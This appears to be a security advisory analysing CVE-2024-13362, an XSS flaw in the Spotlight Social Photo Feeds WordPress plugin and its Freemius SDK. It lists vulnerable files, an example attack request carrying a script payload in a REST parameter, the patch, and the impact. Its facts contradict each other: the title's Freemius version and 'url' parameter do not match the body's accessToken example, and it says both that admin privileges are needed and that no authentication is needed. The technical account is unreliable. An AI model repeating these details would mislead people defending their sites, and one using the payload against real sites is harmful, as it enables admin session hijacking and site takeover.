CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (spotlight-social-photo-feeds)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.7.0
Patched Version 1.7.1
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:
This is a Reflected Cross-Site Scripting (XSS) vulnerability affecting the Freemius WordPress SDK used by the Spotlight Social Photo Feeds plugin. The vulnerability allows unauthenticated attackers to inject arbitrary JavaScript into admin pages, which executes when a user clicks a crafted link. The CVSS score is 6.1 (Medium).

The root cause is insufficient input sanitization across multiple REST API endpoints and AJAX handlers. The affected functions use `filter_var()` with the `FILTER_SANITIZE_STRING` flag, which does not remove JavaScript events or URLs. The vulnerable code is in the following files: `spotlight-social-photo-feeds/src/core/RestApi/EndPoints/Accounts/ConnectAccountEndPoint.php` (line 55 for accessToken, line 62 for userId), `spotlight-social-photo-feeds/src/core/RestApi/EndPoints/Accounts/GetAccountsEndPoint.php` (line 58 for id), `spotlight-social-photo-feeds/src/core/RestApi/EndPoints/Embed/CreatePostEndPoint.php` (lines 23 and 26 for useCase and postType), `spotlight-social-photo-feeds/src/core/RestApi/EndPoints/Feeds/GetFeedsEndpoint.php` (line 54 for id), and `spotlight-social-photo-feeds/src/core/Wp/NoticesManager.php` (line 63 for notice, line 64 for nonce). The Freemius SDK itself also has XSS vectors, but the primary vuln is in the Spotlight plugin’s REST API endpoints.

An attacker exploits this by crafting a URL with a malicious payload in one of the vulnerable REST API parameters. For example, a GET request to `/wp-json/spotlight/v1/accounts?accessToken=alert(1)` would execute JavaScript in the admin context. The attacker sends the victim a link to the plugin’s REST API endpoint with the payload in the url parameter. The victim must have admin or editor privileges for the XSS to execute, but no nonce or authentication is required for the REST API calls themselves.

The patch replaces all instances of `filter_var($param, FILTER_SANITIZE_STRING)` with `sanitize_text_field()` after checking `isset()`. The `sanitize_text_field()` function strips all HTML tags, removes extra whitespace, and encodes special characters. This prevents JavaScript injection through these parameters. The patch also assigns default empty strings if the parameter is not set, instead of passing null values.

When exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of an authenticated WordPress admin’s browser session. This can lead to session hijacking, theft of API keys and access tokens, creation of rogue admin accounts, injection of malicious redirects, complete site takeover, and sensitive data exfiltration. The impact is severe because the XSS executes in the admin context, granting the attacker full access to the WordPress installation.
